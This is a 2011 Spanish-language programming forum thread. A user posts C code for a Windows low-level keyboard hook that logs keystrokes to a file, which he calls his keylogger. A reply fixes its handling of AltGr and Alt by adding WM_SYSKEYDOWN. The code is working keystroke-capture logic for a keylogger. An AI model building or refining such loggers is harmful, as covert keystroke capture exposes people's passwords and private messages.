elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  [SOLUCIONADO] Problema con ALTGR (Keylogger)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SOLUCIONADO] Problema con ALTGR (Keylogger)  (Leído 3,957 veces)
yovaninu


Desconectado Desconectado

Mensajes: 349



Ver Perfil
[SOLUCIONADO] Problema con ALTGR (Keylogger)
« en: 13 Agosto 2011, 06:19 am »

Hola amigos:

Estoy haciendo un hook al teclado y al tratar de capturar los corchetes mi codigo no lo hace, tampoco detecta el ALT-Izquierdo ni el ALT-Derecho.

Al menos en mi teclado, el corchete de apertura esta asi:
[`^ todo eso en una tecla (el corchete de apertura sale al presionar ALTGR+la tecla esa)
+*] todo eso en una tecla (el corchete de cierre sale al presionar ALTGR+la tecla esa)


tengo lo siguiente:
Código
  1. LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {
  2.  
  3. PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
  4. DWORD Tecla = puntero->vkCode;
  5.  
  6. if (wParam == WM_KEYDOWN) {
  7.  
  8. switch (puntero->vkCode) {
  9. case VK_RETURN: fputs("\n",f);      break;  //ENTER DETECTADO
  10. case VK_LMENU: fputs(" [AltI] ",f);  break;  //¿POR QUE NO DETECTA ESTA TECLA?
  11. case VK_RMENU: fputs(" [AltD] ",f);  break;  //¿POR QUE NO DETECTA ESTA OTRA TECLA?
  12.  
  13. case VK_RIGHT: fputs("[D]",f);    break; //la tecla flecha derecha. OK
  14. case VK_DOWN: fputs("[D]",f);    break; //la tecla flecha abajo. OK
  15. case VK_DELETE: fputs("[S]",f);    break; //la tecla suprimir
  16.  
  17.  
  18. //capturamos las teclas normales
  19. default:
  20.  
  21. if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
  22. if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){
  23.  
  24. puntero->vkCode+=32; // a minusculas
  25. fputc(puntero->vkCode,f);
  26. }else{  
  27. fputc(puntero->vkCode,f);
  28. }
  29.  
  30. }
  31. if (Tecla==VK_SPACE){ //espacio en blanco
  32. fputs(" ",f);
  33. }
  34.  
  35. if (Tecla==190){ //detecta correctamente el punto y los dos puntos
  36.  if (!(GetAsyncKeyState(VK_SHIFT)))
  37. fputs(".",f); //punto
  38.  else
  39. fputs(":",f); //dos puntos
  40. }
  41.  
  42. if (Tecla==188){ //coma y punto y coma. OK
  43.  if (!(GetAsyncKeyState(VK_SHIFT)))
  44. fputs(",",f);
  45.  else
  46.  fputs(";",f);
  47. }
  48.  
  49. if (Tecla==189){ //guion y sub guion. OK
  50.  if (!(GetAsyncKeyState(VK_SHIFT)))
  51. fputs("-",f); //
  52.  else
  53.  fputs("_",f); //
  54. }
  55.  
  56.  
  57.  
  58. /*ESTE ES EL CODIGO QUE NO TRABAJA, EL PROGRAMA EJECUTA PERO POR
  59. ALGUNA RAZON NO PUEDE CAPTURAR NI EL ALTGR NI EL CORCHETE DE APERTURA*/
  60.  
  61. if (Tecla==186){ //ERROR ¿POR QUE NO DETECTA LA TECLA DONDE ESTA MI CORCHETE DE APERTURA?
  62. if ((GetAsyncKeyState(VK_SHIFT))){ //si esta presionado SHIFT
  63.  if (!GetAsyncKeyState(165)) //si no esta presionado ALTGR
  64.    fputs("`",f); //
  65. }
  66.  else
  67.  if (GetAsyncKeyState(165)) //si esta presionado ALTGR
  68.    fputs("[",f); //corchete capturado <-- pero no funciona
  69.  else
  70.  fputs("^",f);
  71.  
  72.  
  73. }
  74. [/color]
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82. }
  83. }    
  84.   return CallNextHookEx(NULL, nCode, wParam, lParam);
  85. }
  86.  
  87.  

He probado con VK_OEM_4 pero tampoco.
¿Alguna sugerencia?.



« Última modificación: 13 Agosto 2011, 15:40 pm por yovaninu » En línea

Queta

Desconectado Desconectado

Mensajes: 267



Ver Perfil
Re: Problema con ALTGR (Keylogger)
« Respuesta #1 en: 13 Agosto 2011, 13:04 pm »

Estás utilizando WM_KEYDOWN y como consecuencia:

Citar
Posted to the window with the keyboard focus when a nonsystem key is pressed. A nonsystem key is a key that is pressed when the ALT key is not pressed.

http://msdn.microsoft.com/en-us/library/ms646280.aspx

Una posible solución sería utilizar WM_SYSKEYDOWN:

http://msdn.microsoft.com/en-us/library/ms646286.aspx


En línea

"Intenta no volverte un hombre de éxito, sino volverte un hombre de valor." Albert Einstein.
yovaninu


Desconectado Desconectado

Mensajes: 349



Ver Perfil
Re: Problema con ALTGR (Keylogger)
« Respuesta #2 en: 13 Agosto 2011, 15:42 pm »

Estás utilizando WM_KEYDOWN y como consecuencia:

http://msdn.microsoft.com/en-us/library/ms646280.aspx

Una posible solución sería utilizar WM_SYSKEYDOWN:

http://msdn.microsoft.com/en-us/library/ms646286.aspx


En efecto, he cambiado la linea
Código
  1. if (wParam == WM_KEYDOWN)
  2.  
por
Código
  1. if (wParam == WM_KEYDOWN ||  wParam == WM_SYSKEYDOWN)
  2.  
para que tambien reconozca dicho mensaje.

Y ha detectado todo corréctamente. espero que dicho cambio no altere la funcionalidad de mi keylogger.

Saludos y gracias Queta
En línea

Queta

Desconectado Desconectado

Mensajes: 267



Ver Perfil
Re: [SOLUCIONADO] Problema con ALTGR (Keylogger)
« Respuesta #3 en: 13 Agosto 2011, 22:01 pm »

De nada. A propósito, estás utilizando el "método" LowLevelKeyboardProc. No sé si habrás leído la documentación en la MSDN (http://msdn.microsoft.com/en-us/library/ms644985.aspx) pero recomiendan que compruebes el primer parámetro:

Citar
A code the hook procedure uses to determine how to process the message. If nCode is less than zero, the hook procedure must pass the message to the CallNextHookEx function without further processing and should return the value returned by CallNextHookEx. This parameter can be one of the following values.
« Última modificación: 13 Agosto 2011, 22:03 pm por Queta » En línea

"Intenta no volverte un hombre de éxito, sino volverte un hombre de valor." Albert Einstein.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
problema con keylogger en vb6 « 1 2 »
Programación Visual Basic
hepy_92 19 6,158 Último mensaje 29 Abril 2007, 12:31 pm
por Jareth
Keylogger para linux (Solucionado)
Análisis y Diseño de Malware
moikano→@ 3 23,545 Último mensaje 30 Enero 2011, 16:53 pm
por juanla
KeyLogger con hooks, no captura las teclas altgr, alt, arroba
Programación Visual Basic
rubenpaz 7 7,337 Último mensaje 3 Julio 2011, 04:30 am
por x64core
(solucionado)Hardware keylogger o.O
Hardware
SuperDraco 2 3,264 Último mensaje 15 Julio 2011, 10:55 am
por SuperDraco
Problema con keylogger
Scripting
Panic0 0 2,241 Último mensaje 30 Agosto 2020, 04:12 am
por Panic0
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines